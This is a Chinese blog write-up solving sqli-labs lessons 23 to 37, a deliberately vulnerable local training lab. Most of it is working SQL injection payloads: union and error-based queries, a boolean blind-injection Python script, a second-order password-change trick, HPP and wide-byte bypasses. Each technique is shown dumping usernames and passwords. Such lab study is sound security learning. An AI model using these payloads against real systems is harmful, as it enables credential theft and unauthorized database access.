sqli-labs做题记录(二)

Advanced Injections

 Von's Blog     2019-08-21   13559 words    & views

Less-23

这道题主要是过滤了#,–。这样我们可以使用and ‘1’=’1来闭合’。这里我使用联合查询注入。

127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,2,3 and '1'='1

得出显示位为1,2。

爆库: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,database(),3 and '1'='1
爆表: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 and '1'='1
爆字段: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 and '1'='1
爆值: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3 and '1'='1

Less-24

这道题考查的是二次注入。

二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。

页面主要有三个功能,登录,注册,修改密码。先看源代码:

function sqllogin(){
   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
	//print_r($row) ;
   if ($row[1]) {
			return $row[1];
   } else {
      		return 0;
   }
}

可以看出,在login对username,password进行了mysql_real_escape_string处理,这导致我们无法直接在login实行注入。
看一下注册页面:

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

表面上看虽然对username和password进行了处理,但是当插入数据库后是不会出现转义符号的。 而插入的数据没有转义符号则为我们接下来的注入创造了机会。审计修改密码的语句:

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

发现没有对username进行过滤,那么接下来的利用思路就很明确了。
1.我们先创建一个账户名为admin’#的账号并登录,可以看出虽然插入时’会被转义,但是到数据库里面仍然显示我们的账号名称为admin’#而不是admin'#. 2.这时当我们修改密码时,语句将变成:

UPDATE users SET PASSWORD='$pass' where username='admin'#'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

3.导致我们最后能够修改了admin的密码。可以看出成功登录。

Less-25

题目上来就说or,and被过滤了。可以通过报错信息得出被替换为’’ or,and可以用||,&&代替。但是发现information_schema中的’or’也会被过滤。。。。于是可以用infoorrmation_schema代替。

http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,database(),3--+
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,database(),3--+
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,(select group_concat(username,0x3a,passwoorrd,0x3c2f62723e) from security.users),3--+

注意:传参&&时要先进行urlencode变成%26%26。或者使用aandnd绕过。(并且这里有个坑)就是password也会被过滤,变成passwd,所以要用passwoorrd绕过。

Less-25a

这道题和Less-25基本一样,只是由字符型注入改成数字型注入,也就是不需要闭合而已。注入方式参考Less-25即可。

Less-26

看源代码:

function blacklist($id) {
	$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
	$id= preg_replace('/[--]/',"", $id); //Strip out --
	$id= preg_replace('/[#]/',"", $id);	//Strip out #
	$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
   	//\s匹配任何空白字符,包括空格、制表符、换页符等等
	$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
	return $id;
}

可以看出过滤了:

or and /* -- # 空格  \ /

or and – #的绕过我们之前都已经讲过。这题的关键是在绕过空格。常见的绕过空格的办法有:

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
%20 urlencode
/**/ 注释
` 反引号绕过
()绕过空格:在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来

这里在Windows平台下可能会出现无法用某些特殊字符替代空格的情况,要的话只有更换到Linux才可行。(由于我的懒,就没换)以下使用()绕过空格。

http://127.0.0.1/sqli-labs-master/Less-26/?id=0'||(extractvalue(1,concat(1,database())))aandnd'1'='1
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))aandnd'1'='1
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'||extractvalue(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))))aandnd'1'='1

注意:使用()闭合无法使用limit,union select。(吐槽一句:这题几十个括号闭合得我要吐了,早知道就去linux用%a0绕过了)。。%0b可以在windows下被正常解析,但是在这道题里面仍然会被过滤。。。。

Less-26a

这道题和过滤点和Less-26一样,只不过关闭了报错语句,因此没有办法使用报错注入了。闭合点也变成了’)。在这里我使用布尔盲注。脚本如下:

import requests
url="http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"
result=""
for i in range(1,10):
	for j in range(33,127):
		payload = url.format(i,j)
		r = requests.get(payload)
		r.encoding=r.apparent_encoding
		if "Dumb" in r.text:
			result += chr(j)
			print (result)
			break;

注意:如果过滤了,还可以用:

mid(string,start,length) = mid(string from start for length)

Less-27

先看过滤源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}

可以看出,主要是过滤了注释符还有select,union,空格.(并且select还过滤了两次)。但是又有没有用/i。所以可以用大小写混合绕过或者三写(双写)绕过。 这关测试了一下,发现windows下%0b不会被过滤了。

http://127.0.0.1/sqli-labs-master/Less-27/?id=0'||(extractvalue(1,concat(1,database())))and'1'='1
http://127.0.0.1/sqli-labs-master/Less-27/?id=0'%0band%0bextractvalue(1,concat(1,(SeLect%0btable_name%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()%0blimit%0b0,1)))%0band%0b'1'='1 
http://127.0.0.1/sqli-labs-master/Less-27/?id=0'%0band%0bextractvalue(1,concat(1,(SeLect%0bcolumn_name%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name='users'%0blimit%0b0,1)))%0band%0b'1'='1 
http://127.0.0.1/sqli-labs-master/Less-27/?id=0'%0band%0bextractvalue(1,concat(1,(SeLect%0bconcat(username,0x3a,password)%0bfrom%0bsecurity.users%0blimit%0b0,1)))%0band%0b'1'='1 

Less-27a

这关和上一关的区别就是注释了报错语句,因此不能使用报错注入了,同时闭合也由单引号变成双引号了,在这里我们使用联合查询注入。

http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%0bUnIon%0bSeLect%0b1,database(),3%0bor%0b"
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%0bUnIon%0bSeLect%0b1,(SeLect%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),3%0bor%0b"
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%0bUnIon%0bSeLect%0b1,(SeLect%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name='users'),3%0bor%0b"
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%0bUnIon%0bSeLect%0b1,(SeLect%0bgroup_concat(username,0x3a,password,0x3c2f62723e)%0bfrom%0bsecurity.users),3%0bor%0b"

Less-28

首先看一下过滤语句。

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

还是过滤了/* – # 空格 union select,这里的正则表达式\s匹配任意空字符,/i表示不区分大小写,但是需要注意的是这里过滤的是union+空白字符+select同时匹配大小写的这一个整体,所以用union union select select绕过。同时需要注意的是,闭合也改成了’)。

http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,database(),3%0bor%0b('
http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,(select%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),3%0bor%0b('
http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,(SeLect%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name='users'),3%0bor%0b('
http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,(SeLect%0bgroup_concat(username,0x3a,password,0x3c2f62723e)%0bfrom%0bsecurity.users),3%0bor%0b('

Less-28a

。。。我觉得这题就是来搞笑的,看一下过滤语句。

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

在上一题的基础上注释掉那么多,直接拿上一题的语句就行。

Less-29

这题的考点是HTTP参数污染。
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 waf,由于解析参数机制的不同,我们此处可以利用该原理绕过 WAF 的检测;
数据解析顺序:tomcat从前往后,apache从后往前 客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 去请求 apache(php) 服务器,apache 解析最后一个参数。最终返回客户端的也是第二个参数,因为实际上提供服务的是 apache(php)服务器,返回的数据也应该是 apache 处理的数据。
经过白名单过滤的就只是tomcat解析到的第一个id参数,但是如果传入两个id参数,tomcat的过滤就失效了。apache直接解析最后一个id,没有任何waf,轻松注入,该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击。HPP 可对服务器和客户端都能够造成一定的威胁。

http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,database(),3--+
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

Less-30

这道题和Less-29基本一样,只是闭合由’改成了”。不再赘述

Less-31

这道题和Less-29也基本一样,只是闭合由’改成了”)。不再赘述

Less-32

这道题的考点是宽字节注入。关于宽字节注入,可以看我的另一篇博客网址

127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,database(),3--+
127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+
127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

注意:这里爆库不能直接使用:

127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+

这样’users’的’会被转义,要用16进制编码绕过。

Less-33

这里只是调用了php自带的addslashes($string),注入方法和Less-32完全一致,不在赘述。

Less-34

这题是POST类型的宽字节注入。其实不太理解这道题的思路,看了网上很多解法都是大概说将’去进行UTF-16编码来绕过。
如果是get方式的话可以考虑使用%df进行吃掉%5c 如果是post方式的话因为不能进行urlencode所以可以考虑使用utf-16编码以后吃掉%5c。

username:�' and extractvalue(1,concat(1,database()))#
username:�' and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name=0x7573657273 limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))#

如果有清楚这种POST型注入的师傅,具体为什么要用UTF-16绕过请告诉我呀。

Less-35

这道题是数值型注入,不需要’闭合,自然也就逃过了addslashes()的限制。

127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,database(),3--+
127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+
127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

Less-36

这题用了一个新的函数mysql_real_escape_string()进行过滤,它会转义以下字符:

\x00
\n
\r
\
'
"
\x1a

其实绕过方式和addslashes()没什么区别。。。

127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,database(),3--+
127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+
127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

Less-37

依旧是POST的宽字节注入,和之前那道post的区别是,这题过滤用的是mysql_real_escape_string(),但是绕过方法是一样的。

username:�' and extractvalue(1,concat(1,database()))#
username:�' and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name=0x7573657273 limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))#